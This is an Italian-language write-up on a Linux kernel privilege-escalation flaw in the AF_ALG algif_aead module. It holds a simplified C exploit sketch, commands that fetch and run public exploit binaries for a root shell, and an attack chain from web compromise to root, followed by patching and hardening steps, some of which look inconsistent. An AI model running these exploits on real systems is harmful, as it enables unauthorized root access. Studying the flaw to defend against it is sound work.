Buffer overflow → scrittura fuori dai limiti nella memoria del kernel

algif_aead_copy_sgl()
  └─ sg_copy_to_buffer()
       └─ memcpy verso indirizzo parzialmente controllato dall'utente

// Questo può farlo qualsiasi utente del sistema
int fd = socket(AF_ALG, SOCK_SEQPACKET, 0);

# Verifica versione del kernel
uname -r

# Verifica se il modulo vulnerabile è caricato
lsmod | grep algif_aead

# Verifica se AF_ALG è disponibile
cat /proc/net/protocols | grep ALG

$ uname -r
6.2.0-20-generic

$ lsmod | grep algif_aead
algif_aead             20480  0
af_alg                 32768  3 algif_aead,algif_skcipher,algif_hash

1. Aprire socket AF_ALG (algif_aead)
2. Inviare sendmsg() con buffer oversized
3. recvmsg() con buffer più piccolo → trigger del bug
4. Scrittura OOB nell'heap del kernel
5. Sovrascrivere cred->uid/gid a 0
6. execve("/bin/sh") → shell root

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/if_alg.h>

int main(void) {
    struct sockaddr_alg sa = {
        .salg_family = AF_ALG,
        .salg_type   = "aead",
        .salg_name   = "gcm(aes)",
        .salg_feat   = 0,
        .salg_mask   = 0,
    };

    int fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
    bind(fd, (struct sockaddr *)&sa, sizeof(sa));

    // Configurare chiave da 16 byte
    char key[16] = {0};
    setsockopt(fd, SOL_ALG, ALG_SET_KEY, key, sizeof(key));
    setsockopt(fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 16);

    int op_fd = accept(fd, NULL, NULL);

    // Buffer grande → trigger OOB write
    char big_buf[4096] = {0};
    char small_buf[16] = {0};

    struct msghdr msg = {0};
    // ... costruzione del msghdr con cmsg ALG_OP_ENCRYPT
    sendmsg(op_fd, &msg, 0);

    // recvmsg con buffer insufficiente → il kernel scrive fuori dai limiti
    recv(op_fd, small_buf, sizeof(small_buf), 0);

    // Se l'exploit ha funzionato, ora siamo root
    if (getuid() == 0) {
        printf("[+] Root ottenuto!\n");
        execl("/bin/sh", "sh", NULL);
    }

    return 0;
}

# Clonare e compilare copy-fail-c
git clone https://github.com/tgies/copy-fail-c
cd copy-fail-c
make
./copyfail

# Risultato atteso su sistema vulnerabile:
# [*] Verifica modulo algif_aead...
# [*] Preparazione spray di heap...
# [+] OOB write riuscito
# [+] UID ora: 0
# # whoami
# root

wget https://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431/raw/main/copyfail
chmod +x copyfail
./copyfail

Attaccante esterno
      │
      ▼
Sfrutta vulnerabilità web (RCE) → accesso come www-data
      │
      ▼
Carica copyfail sul server (wget/curl)
      │
      ▼
Esegue ./copyfail
      │
      ▼
Shell root sul server ✓

# Opzione 1: Upgrade a Ubuntu 24.04 LTS (consigliato)
do-release-upgrade

# Opzione 2: Se hai già Ubuntu 22.04 LTS
sudo apt update && sudo apt dist-upgrade
sudo reboot
# Verificare kernel con patch
uname -r   # deve essere ≥ 5.15.0-107 su Ubuntu 22.04

# Creare blacklist del modulo
echo "blacklist algif_aead" | sudo tee /etc/modprobe.d/blacklist-algif-aead.conf

# Rigenerare initramfs per renderla permanente
sudo update-initramfs -u

# Riavviare
sudo reboot

lsmod | grep algif_aead
# Non deve apparire nulla

# Disabilitare i user namespace senza privilegi (rompe alcune funzionalità di Docker)
sudo sysctl -w kernel.unprivileged_userns_clone=0

# Renderlo permanente
echo "kernel.unprivileged_userns_clone=0" | sudo tee -a /etc/sysctl.d/99-hardening.conf
sudo sysctl -p /etc/sysctl.d/99-hardening.conf

# /etc/apparmor.d/local/restrict-af-alg
network af_alg,   # negare nei profili specifici

# Aggiungere al profilo AppArmor di www-data o nginx
# deny network af_alg,
sudo apparmor_parser -r /etc/apparmor.d/usr.sbin.nginx

# Verificare che www-data non abbia sudo
sudo grep www-data /etc/sudoers

# Rimuovere binari SUID non necessari
find / -perm -4000 2>/dev/null

# Limitare le directory accessibili
chmod 700 /root
chmod 750 /home/*